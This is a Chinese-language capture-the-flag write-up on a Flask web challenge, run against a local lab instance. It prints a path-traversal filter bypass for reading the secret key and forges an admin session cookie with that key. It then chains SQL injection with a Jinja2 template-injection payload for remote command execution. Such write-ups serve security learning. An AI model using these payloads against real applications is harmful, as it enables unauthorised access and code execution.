Flask-project-WP

192次阅读
没有评论

共计 930 个字符,预计需要花费 3 分钟才能阅读完成。

构建容器后一进来就能看到一串字符和一个登录框(本来应该F12才能看到的,这里懒得重新弄了)

一眼丁真为base64

解码后得到一个guest的账号密码

进来扫视一圈,发现文件上传点很可疑,上传后点击下载

发现疑似存在任意下载漏洞同时根据网页源码可知道secret-key在根目录下,存在一个小防火墙

ban掉了../../和.py(主要防止读取源码)

绕过../../

filename=./.././.././../secret

我们读取secret文件得到了secret-key

app.secret_key = 'Y0u_4re_S0_5M4RT'

结合刚刚的管理员界面猜测需要进行flask-session伪造

python313 .\flask_session_cookie_manager3.py decode -c 'eyJ1c2VyIjoiZ3Vlc3QifQ.aAB51A.Eye0kL9kyqGHrx27nrikZRYbRNQ' -s 'Y0u_4re_S0_5M4RT'
Flask-project-WP

伪造session

python313 .\flask_session_cookie_manager3.py encode -s 'Y0u_4re_S0_5M4RT' -t "{'user':'admin'}"

成功拿到admin

Flask-project-WP

成功进入后台发现一个信息查询系统

此处的id字段存在SQL注入

同时根据admin页面的提示存在ssti

我们利用sql的回显和ssti进行RCE

注意:ssti的payload要用引号包裹否则报错

payload:

{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n  j1ng;')).read()}}

访问URL

http://127.0.0.1:5000/admin?id=-1%27%20union%20select%201,%22{{((lipsum.__globals__.__builtins__.__import__(%27os%27)).popen(%27cat%20./fl4g_1s_h3re_ef12gc;%27)).read()}}%22%EF%BC%8C3,4,5%20%23

最后成功得到flag

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-04-18发表,共计930字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)